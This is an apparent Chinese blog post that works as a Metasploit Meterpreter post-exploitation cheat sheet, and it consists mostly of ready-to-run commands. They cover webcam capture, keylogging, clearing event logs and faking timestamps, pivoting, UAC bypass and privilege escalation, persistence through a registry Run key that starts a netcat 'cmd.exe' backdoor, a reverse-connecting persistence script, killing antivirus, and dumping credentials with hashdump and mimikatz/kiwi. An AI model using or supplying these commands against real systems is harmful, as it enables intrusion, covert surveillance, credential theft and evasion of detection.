zoukankan      html  css  js  c++  java
  • Metasploit meterpreter 篇

    一、系统命令

    1.基本命令

    sessions -i #进入会话 -k#杀死会话
    background  #将当前会话放置后台
    run  #执行已有模块
    getuid  #查看权限
    getpid  #查看当前进程的pid
    sysinfo  #查看系统信息
    ps  #查看当前活跃进程n
    shell #进入目标cmd shell

    2.摄像头命令

    webcam_list  #查看摄像头
    webcam_snap  #通过摄像头拍照
    webcam_stream  #通过摄像头开启视频

    如果系统不存在摄像头的话就会报错

    开启摄像头会弹出一个web网页,进行远程观看,但是我在我的服务器上利用ssh连接测试没有浏览器,所以会报错,照片保存在一定路径,直接去下载查看也是一样的,会有提示。

    3.系统命令

    execute -H -i -f cmd.exe     #创建新进程cmd.exe,-H不可见,-i交互

    如何不加 -H 对方主机会出现一个黑框cmd

    还有-m 是在内存中运行

    4.进程迁移

    getpid    # 获取当前进程的pid
    ps       # 查看当前活跃进程
    migrate <pid值>    #将Meterpreter会话移植到指定pid值进程中
    kill <pid值>   #杀死进程

    注入到explorer进程里面 对方主机重启后还是会系统反弹shell

    5.清除日志

    clearev #清除windows中的应用程序日志、系统日志、安全日志,需要管理员权限

    二、文件系统命令

    1.基本文件系统命令

    getwd 或者 pwd         # 查看当前工作目录  
    ls
    cd
    cat C://Users//dayu//Desktop//dayu.txt      # 查看文件内容
    upload /root/Desktop/test-dayu.txt C://Users//dayu//Desktop      # 上传文件到目标机上
    download C://Users//dayu//Desktop//dayu.txt /root/Desktop/        # 下载文件到本机上
    edit C://Users//dayu//Desktop//1.txt         #会进入编辑模式,编辑或创建文件,没有的话,会新建文件
    rm C://Users//dayu//Desktop//1.txt    #删除文件
    mkdir lltest2          #只能在当前目录下创建文件夹
    rmdir lltest2         #只能删除当前目录下文件夹
    getlwd  或者 lpwd   #操作攻击者主机 查看当前目录
    lcd /tmp               #操作攻击者主机 切换目录

    2.伪造时间戳

    timestomp -v C:/phpStudy/manual.chm       #查看时间戳
    timestomp C://2.txt -f C://1.txt         #将1.txt的时间戳复制给2.txt

    3.搜索文件

    search -f *dayu*.exe      #全局搜索dayu.exe这个文件

    4.映射端口

    portfwd add -l 6666 -p 3389 -r 127.0.0.1     #将目标机的3389端口转发到本地6666端口
    rdesktop 127.0.0.1:6666        #kali远程桌面使用6666端口

    5.添加路由

    扫描整个目标内网

    run autoroute -s 10.10.10.0/24  #添加到目标环境网络
    run autoroute –p                  #查看添加的路由
    run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24 #扫描整个段存活主机
    run auxiliary/scanner/portscan/tcp RHOSTS=10.10.10.2 PORTS=3389    #检查IP是否开放3389

    6.socks4a代理

    之前有一篇博客讲到,汇总了代理的几种方法

    三、信息收集

    /usr/share/metasploit-framework/modules/post/windows/gather
    /usr/share/metasploit-framework/modules/post/linux/gather
    
    解释:
    run post/windows/gather/checkvm #是否虚拟机
    run post/linux/gather/checkvm #是否虚拟机
    run post/windows/gather/forensics/enum_drives     #查看分区
    run post/windows/gather/enum_applications         #获取安装软件信息
    run post/windows/gather/dumplinks               #获取最近的文件操作
    run post/windows/gather/enum_ie                  #获取IE缓存
    run post/windows/gather/enum_chrome               #获取Chrome缓存
    run post/windows/gather/enum_patches      #补丁信息
    run post/windows/gather/enum_domain      #查找域控

    四、提权

    1.getsystem

    1、getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。
    2、getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。
    3、Windows服务已启动,导致与命名管道建立连接。
    4、该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。

    2.bypassuac

    有下面四个模块

    use exploit/windows/local/bypassuac
    use exploit/windows/local/bypassuac_injection
    use windows/local/bypassuac_vbs
    use windows/local/ask

    例如:

    msf > use exploit/windows/local/bypassuac
    msf > set SESSION 5            #选择当前会话
    msf > run

    3.内核提权

    可先利用enum_patches模块收集补丁信息,然后查找可用的exploits进行提权,需要退出当前连接

    meterpreter > run post/windows/gather/enum_patches  #查看补丁信息
    msf > use exploit/windows/....            #利用未打补丁的模块即可
    msf > set SESSION 5
    msf > exploit

    五、远程桌面

    enumdesktops      #查看可用的桌面
    getdesktop        #获取当前meterpreter 关联的桌面
    set_desktop       #设置meterpreter关联的桌面  -h查看帮助
    screenshot      #截屏
    use espia          #或者使用espia模块截屏  然后输入screengrab
    run vnc          #使用vnc远程桌面连接,这方法有点问题,上传了exe但是启动不了
    run post/windows/manage/enable_rdp  #开启远程桌面
    run post/windows/manage/enable_rdp USERNAME=test PASSWORD=123456 #添加用户
    run post/windows/manage/enable_rdp FORWARD=true LPORT=9998  #将3389端口转发到9998

    六、键盘记录

    keyscan_start      #开始键盘记录
    keyscan_dump       #导出记录数据
    keyscan_stop     #结束键盘记录

    七、设置开机启动

    1.注册表

    upload /root/Desktop/nc64.exe C://Users//dayu//Desktop     #上传nc,前面的是你要上传文件的位置
    reg enumkey -k HKLM\software\microsoft\windows\currentversion\run   #枚举run下的key
    reg setval -k HKLM\software\microsoft\windows\currentversion\run -v lltest_nc -d 'C://Users//dayu//Desktop//nc.exe -Ldp 443 -e cmd.exe' #设置键值
    reg queryval -k HKLM\software\microsoft\windows\currentversion\Run -v lltest_nc   #查看键值
    
    nc -v 192.168.0.142 443  #攻击者连接nc后门
    2.persistence
    run persistence –h  #查看帮助
    run persistence -X -i 5 -p 4444 -r 192.168.175.145
    #-X指定启动的方式为开机自启动,-i反向连接的时间间隔(5s) –r 指定攻击者的ip

    可看到在目标机的C:UsersdayuAppDataLocalTempebagFvdP.vbs下建立了vbs文件,开机会启动这个文件上面的vbs文件…

    监听写反弹时间间隔是5s 端口是443 Metasploit服务器Ip是192.168.175.145。

    缺点是容易被杀毒软件查杀!

    3.metsvc自动安装后门
    run metsvc –h   # 查看帮助
    run metsvc –A   #自动安装后门

    可看到自动在C:UsersdayuAppDataLocalTempccNTBztKL生成三个文件,并把Meterpreter自动放在服务自启中

    set payload windows/metsvc_bind_tcp
    并把port设置31337端口即可...连接

    八、令牌操控

    use incognito            #进入incognito模式
    help incognito          #查看帮助
    list_tokens -u            #查看可用的token
    impersonate_token 'NT AUTHORITYSYSTEM'      #假冒SYSTEM token,或者用下面的
    #impersonate_token NT AUTHORITY\SYSTEM     #不加单引号 需使用\
    execute -f cmd.exe -i –t                    # -t 使用假冒的token执行或者直接shell
    rev2self           #返回原始token

    九、关闭杀软

    meterpreter> run killav //这个脚本要小心使用,可能导致目标机器蓝屏死机

    十、抓取密码

    run hashdump
    run windows/gather/smart_hashdump
    run windows/gather/credentials/windows_autologin //有时候会有自动登陆的密码
    
    load mimikatz
    //使用mimikatz

    这里本来是要利用mimikatz进行密码获取的,但是发现现在kiwi把mimikatz包含进去了…

    报错解释又得回归到kiwi原理上:

    kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制。

    ps //查看进程
    migrate 504 //随便进入一个进程
    help wiki
    creds_all //列举所有凭据
    kiwi_cmd sekurlsa::logonpasswords //和mimika 功能一样

  • 相关阅读:
    品Spring:真没想到,三十步才能完成一个bean实例的创建
    品Spring:对@Autowired和@Value注解的处理方法
    品Spring:对@Resource注解的处理方法
    品Spring:对@PostConstruct和@PreDestroy注解的处理方法
    品Spring:详细解说bean后处理器
    品Spring:bean工厂后处理器的调用规则
    品Spring:注解之王@Configuration和它的一众“小弟们”
    品Spring:SpringBoot发起bean定义注册的“二次攻坚战”
    品Spring:SpringBoot轻松取胜bean定义注册的“第一阶段”
    .net的retrofit--WebApiClient底层篇
  • 原文地址:https://www.cnblogs.com/trevain/p/14372141.html
Copyright © 2011-2022 走看看